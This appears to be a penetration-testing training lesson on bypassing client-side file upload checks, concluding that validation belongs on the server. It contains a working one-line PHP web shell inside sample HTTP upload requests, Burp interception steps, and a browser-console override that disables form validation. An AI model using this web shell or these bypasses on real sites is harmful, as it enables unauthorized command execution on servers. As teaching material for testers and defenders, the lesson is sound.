Many web applications implement file upload validation exclusively on the client side using JavaScript. While this provides a smooth user experience by giving instant feedback, it provides zero security — because the attacker never has to use the browser to submit the upload request. In this lesson, we will learn exactly how client-side validation works and why it is trivially bypassable.
Client-side validation typically uses JavaScript to check the file extension, MIME type, or file size before the form is submitted. Here is a common example:
document.getElementById('uploadForm').addEventListener('submit', function(e) {
var fileInput = document.getElementById('fileInput');
var file = fileInput.files[0];
var allowedExtensions = ['jpg', 'jpeg', 'png', 'gif'];
var extension = file.name.split('.').pop().toLowerCase();
if (allowedExtensions.indexOf(extension) === -1) {
alert('Only image files are allowed!');
e.preventDefault();
return false;
}
if (file.size > 2 * 1024 * 1024) {
alert('File size must be less than 2MB!');
e.preventDefault();
return false;
}
});This script checks that the file extension is in an allowed list and that the file size is under 2MB. It seems reasonable from a user experience perspective, but from a security perspective, it is completely ineffective. The validation runs in the attacker's browser, and the attacker controls the browser entirely.
The simplest bypass is to disable JavaScript in the browser. Since the validation logic runs entirely in JavaScript, disabling it means the form is submitted without any validation at all. You can disable JavaScript in browser settings, or use a browser extension like NoScript.
💡 In practice, disabling JavaScript is the least convenient method. Most penetration testers prefer to intercept and modify the request using a proxy, which gives more precise control over every aspect of the upload.
The most common and effective technique is to use an intercepting proxy like Burp Suite. The workflow is: (1) Enable browser proxy to route traffic through Burp, (2) Select your malicious file (e.g., a PHP web shell), (3) Intercept the request in Burp before it reaches the server, (4) Modify the request to remove or alter any client-side validation artifacts, and (5) Forward the request to the server.
Here is what the intercepted request might look like, and how we modify it:
--- Original Request (with client-side validation passed) ---
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary123
------Boundary123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
------Boundary123--
--- Modified Request (bypassing client-side checks) ---
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----Boundary123
------Boundary123
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------Boundary123--Notice that we changed the Content-Type from image/jpeg to application/x-php. The client-side JavaScript might have checked the file extension, but since we're sending the request directly through Burp, that JavaScript never executes. The server receives exactly the request we construct.
You can bypass the entire browser-based upload form by crafting the HTTP request directly using cURL or any HTTP client. This completely sidesteps any client-side validation:
Using browser developer tools, you can directly modify the JavaScript validation function. Open the browser console and override the validation function to always return true:
// In the browser console, override the validation
HTMLFormElement.prototype.addEventListener = function(type, handler, options) {
if (type === 'submit') {
// Replace with a no-op — validation is skipped
return;
}
return EventTarget.prototype.addEventListener.call(this, type, handler, options);
};
// Now submit the form normally with your malicious fileThe key takeaway: client-side validation is a usability feature, not a security control. It exists to help legitimate users avoid mistakes (like uploading a .zip when only images are accepted). It must never be the only line of defense. Every validation performed on the client side must be duplicated on the server side.
⚠️ During a penetration test, if you discover that an application relies solely on client-side validation for file uploads, this is a critical finding. Document it clearly in your report with evidence showing that you were able to upload a malicious file by bypassing the client-side checks.
Verify exercises to earn ★ 140 XP and unlock next lab level.